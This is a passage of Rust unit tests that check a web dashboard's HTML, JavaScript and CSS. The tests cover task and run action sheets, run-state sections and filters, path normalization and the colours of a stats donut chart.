14986 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
14987 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
14988 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
14989 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
14991 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
14992 assert!(APP_JS.contains("renderTaskActions(task);"));
14994 assert!(APP_JS.contains("renderTaskActions(null);"));
14995 let sheet = APP_JS
14997 .find("function renderTaskActions")
14998 .expect("sheet renderer");
14999 let body = &APP_JS[sheet..sheet + 3000];
15000 assert!(body.contains("changePriority("));
15001 assert!(body.contains("openTaskEdit(task)"));
15002 assert!(body.contains("renderTaskHoldBox(host"));
15003 assert!(body.contains("renderTaskDoneBox(host"));
15004 assert!(body.contains("renderTaskDeleteBox(host"));
15005 assert!(APP_JS.contains("API.priority(id)"));
15006 assert!(APP_JS.contains("API.deleteTask(id)"));
15007 assert!(APP_JS.contains("location.hash = \"#/queue\""));
15009 assert!(APP_JS.contains("$(\"task-actions-error\")"));
15011 }
15012
15013 #[test]
15014 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
15015 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
15016 let actions = INDEX_HTML
15017 .find("id=\"run-actions-box\"")
15018 .expect("actions box");
15019 assert!(task < actions, "the task entry comes first in the sheet");
15020 assert!(APP_JS.contains("renderRunTaskEntry"));
15021 assert!(APP_JS.contains("\"Open task \""));
15022 assert!(APP_JS.contains("started directly, no task"));
15024 assert!(APP_JS.contains("sheet-task-link"));
15025 assert!(APP_JS.contains("task-chip-link"));
15026 }
15027
15028 #[test]
15029 fn the_deck_never_sends_the_operator_to_a_terminal() {
15030 assert!(
15033 !APP_JS.contains("Run `magi fold` first"),
15034 "the deck must offer the fold, not prescribe a shell command"
15035 );
15036 assert!(APP_JS.contains("foldRun:"));
15037 assert!(APP_JS.contains("resumeRun:"));
15038 assert!(APP_JS.contains("renderRunActions"));
15039
15040 assert!(APP_JS.contains("armedFold"));
15042 assert!(APP_JS.contains("Yes, fold worktrees"));
15043
15044 assert!(APP_JS.contains("can no longer be resumed"));
15047 }
15048
15049 #[test]
15050 fn a_finished_run_explains_itself_with_its_own_last_line() {
15051 assert!(
15057 !APP_JS.contains("collapsed on agent quota"),
15058 "a stall must not be explained by a cause the deck did not check"
15059 );
15060 assert!(
15061 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
15062 "and a block must not offer a guess with an `or` in it"
15063 );
15064
15065 assert!(
15069 APP_JS.contains("setText(r.event, run.event || \"\")"),
15070 "the run's last line is rendered unconditionally"
15071 );
15072 assert!(
15073 !APP_JS.contains("moving && run.event"),
15074 "and never gated on the run still moving"
15075 );
15076
15077 assert!(APP_JS.contains("lost to quota"));
15079 }
15080
15081 #[test]
15103 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
15104 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
15105 let shapes_body_start =
15106 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
15107 let shapes_close = APP_JS[shapes_body_start..]
15108 .find("].map(")
15109 .expect("the shape list is closed by its done-computing .map(...)")
15110 + shapes_body_start;
15111 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
15112
15113 let mut shapes: Vec<(bool, String, bool)> = Vec::new();
15114 for entry in shapes_src.split('{').skip(1) {
15115 let waiting = entry.contains("waiting: true");
15116 let dead = entry.contains("live: \"dead\"");
15117 let status_at =
15118 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
15119 let status_end = entry[status_at..]
15120 .find('"')
15121 .expect("the status string is closed")
15122 + status_at;
15123 shapes.push((waiting, entry[status_at..status_end].to_string(), dead));
15124 }
15125 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
15126
15127 let done_rule_marker = "done: !";
15131 let done_rule_at = APP_JS[shapes_close..]
15132 .find(done_rule_marker)
15133 .expect("the done rule follows the shape list")
15134 + shapes_close
15135 + done_rule_marker.len();
15136 let includes_at = APP_JS[done_rule_at..]
15137 .find(".includes(shape.status)")
15138 .expect("the done rule ends in .includes(shape.status)")
15139 + done_rule_at;
15140 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
15141 .trim()
15142 .trim_start_matches('[')
15143 .trim_end_matches(']')
15144 .split(',')
15145 .map(|s| s.trim().trim_matches('"'))
15146 .filter(|s| !s.is_empty())
15147 .collect();
15148
15149 let shapes: Vec<(bool, String, bool, bool)> = shapes
15150 .into_iter()
15151 .map(|(waiting, status, dead)| {
15152 let done = !not_done.contains(&status.as_str());
15153 (waiting, status, dead, done)
15154 })
15155 .collect();
15156
15157 fn run_section(waiting: bool, status: &str, dead: bool) -> &'static str {
15161 if waiting {
15162 return "waiting";
15163 }
15164 if dead
15165 && !matches!(
15166 status,
15167 "merged"
15168 | "ready"
15169 | "stalled"
15170 | "blocked"
15171 | "failed"
15172 | "verified_noop"
15173 | "superseded"
15174 | "already_in_base"
15175 )
15176 {
15177 return "stale";
15178 }
15179 match status {
15180 "merged" | "ready" => "landed",
15181 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
15182 | "already_in_base" => "ended",
15183 _ => "flight",
15184 }
15185 }
15186
15187 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
15190 match filter_key {
15191 "active" => !done,
15192 "flight" => !done && !waiting && !dead,
15193 "stale" => !done && !waiting && dead,
15194 "waiting" => waiting,
15195 "done" => done,
15196 "all" => true,
15197 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
15198 }
15199 }
15200
15201 let compatible = |section: &str, filter_key: &str| {
15202 shapes.iter().any(|(waiting, status, dead, done)| {
15203 run_section(*waiting, status, *dead) == section
15204 && filter_matches(filter_key, *waiting, *dead, *done)
15205 })
15206 };
15207
15208 let expected = [
15213 ("waiting", [true, false, false, true, true, true]),
15214 ("stale", [true, false, true, false, false, true]),
15215 ("flight", [true, true, false, false, false, true]),
15216 ("landed", [false, false, false, false, true, true]),
15217 ("ended", [false, false, false, false, true, true]),
15218 ];
15219 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
15220
15221 for (section, wants) in expected {
15222 for (filter_key, want) in filter_keys.iter().zip(wants) {
15223 assert_eq!(
15224 compatible(section, filter_key),
15225 want,
15226 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
15227 );
15228 }
15229 }
15230
15231 assert!(
15234 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
15235 );
15236 assert!(APP_JS.contains(
15237 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
15238 ));
15239 assert!(APP_JS.contains(
15240 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
15241 ));
15242 }
15243
15244 #[tokio::test]
15245 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
15246 let dir = tempfile::tempdir().expect("tempdir");
15250 let explicit = dir.path().join("not-a-checkout");
15251 std::fs::create_dir_all(&explicit).expect("create dir");
15252 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
15253
15254 let missing = dir.path().join("does-not-exist-at-all");
15255 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
15256 }
15257
15258 #[test]
15259 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15260 assert!(APP_JS.contains("function statsDonutArcs"));
15261 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15262 assert!(APP_JS.contains("function statusInBucket"));
15264 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15265 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15266 let buckets = [
15267 "merged",
15268 "ready",
15269 "in_progress",
15270 "blocked",
15271 "failed",
15272 "verified_noop",
15273 "superseded",
15274 "stalled",
15275 ];
15276 for key in buckets {
15277 let var = format!("--verdict-{key}:");
15278 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15280 assert!(
15281 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15282 "{key}"
15283 );
15284 }
15285 }
15286}